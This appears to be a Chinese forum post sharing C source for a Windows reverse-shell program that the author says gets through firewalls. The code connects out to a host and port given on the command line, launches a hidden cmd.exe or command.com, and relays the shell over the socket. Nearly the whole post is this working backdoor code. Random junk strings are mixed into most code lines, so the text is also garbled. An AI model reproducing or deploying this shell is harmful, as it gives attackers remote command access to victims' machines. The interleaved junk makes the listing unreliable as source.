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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Ar{7H)V:  
W *.j=?)\[  
/* ============================== +YD_ L  
Rebound port in Windows NT 0)Nu  
By wind,2006/7 +%sMd]$,n  
===============================*/ !94qF,#1  
#include nY M2Vxi0+  
#include ){}1u ?  
lD9QS ;  
#pragma comment(lib,"wsock32.lib") 0Ba*"/U]t~  
Q  h~  
void OutputShell(); K&'Vd@  
SOCKET sClient; , ;$SRQ.  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; y <] x  
qe[P'\]L  
void main(int argc,char **argv) H3#rFO"C*  
{ ?Z(xu~^/  
WSADATA stWsaData; fug F k  
int nRet; Gg TrIF  
SOCKADDR_IN stSaiClient,stSaiServer; Ht4A   
6N< snBmd  
if(argc != 3) r}nz )=\Cj  
{ z{m%^,Cs,  
printf("Useage:\n\rRebound DestIP DestPort\n"); XP%/*am  
return; (/$a*$  
} Bcl6n@{2f  
g>*P}r~;^b  
WSAStartup(MAKEWORD(2,2),&stWsaData); :q34KP  
WJU[+|J  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JavSR1_  
N!lQ;o'  
stSaiClient.sin_family = AF_INET; Wj I NY  
stSaiClient.sin_port = htons(0); Q@(tyW+8U@  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Q ym=L(X  
 $*$X5  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Eg+ z(m$M  
{ sI<PYi={-6  
printf("Bind Socket Failed!\n"); 8[rZRc  
return; D}T+X ;u)K  
} It#T\fU  
3]rd!Gp=*  
stSaiServer.sin_family = AF_INET; Mwtd<7<!A  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); H: rrY  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); wl5+VC*l0  
"30R%oL]=  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) hqc)Ydg_%  
{ |C`.m |  
printf("Connect Error!"); H^fErl  
return; \AY*x=PF  
} #-7w |  
OutputShell(); UPcx xtC  
} 8~|tl,  
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void OutputShell() Y]neTX [ef  
{ g9G 8;  
char szBuff[1024]; jM[]Uh  
SECURITY_ATTRIBUTES stSecurityAttributes; uRnSwJ"hE  
OSVERSIONINFO stOsversionInfo; ?#gYu %7DN  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >A.m`w  
STARTUPINFO stStartupInfo; 2)T.Ci cx  
char *szShell; +`&-xq76  
PROCESS_INFORMATION stProcessInformation; M32Z3<  
unsigned long lBytesRead; l<-0@(x)  
ov|/=bzro  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); WUK{st.z  
aTFT'(O,  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); m\eYm;R Vj  
stSecurityAttributes.lpSecurityDescriptor = 0; ~8tb^  
stSecurityAttributes.bInheritHandle = TRUE; 3:MAdh[w  
Dssecc'  
BvqypLI  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); k.6(Q_TS  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); i1 ^#TC$x  
QLDld[  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); glUf. :]  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eb=#{  
stStartupInfo.wShowWindow = SW_HIDE; {w52]5l  
stStartupInfo.hStdInput = hReadPipe; bCmlSu  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; q~6((pWi|  
ss'`[QhR2  
GetVersionEx(&stOsversionInfo); EZ)$lw/!J  
wq>0W 4(  
switch(stOsversionInfo.dwPlatformId) Z"5ewU<?  
{ &Ef_p-e-P  
case 1: #G\;)pT  
szShell = "command.com"; Np2.X+  
break; l~'NqmXe  
default: cIOM}/gqv  
szShell = "cmd.exe"; Rd:wMy$  
break; Dl=qss~g+  
} 9#)&  
7thB1cOJ  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2[~|6 @n  
\{{i:&] H  
send(sClient,szMsg,77,0); 2>'/!/+R  
while(1) p -wEPC0  
{ BkJNu_{m?  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 0Q5fX}  
if(lBytesRead) SwdUElEp  
{ Av,E|C  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); XHYVcwmDz-  
send(sClient,szBuff,lBytesRead,0); +&qj`hA-b  
} o 4cqLM u  
else >Ni<itze$i  
{ g/BlTi  
lBytesRead=recv(sClient,szBuff,1024,0); _28vf Bl?  
if(lBytesRead<=0) break; >*e,+ok  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %Kc2n9W  
} {i|$^A3  
} b$/ 'dnx  
<}t<A  
return; H-'~c \)  
}
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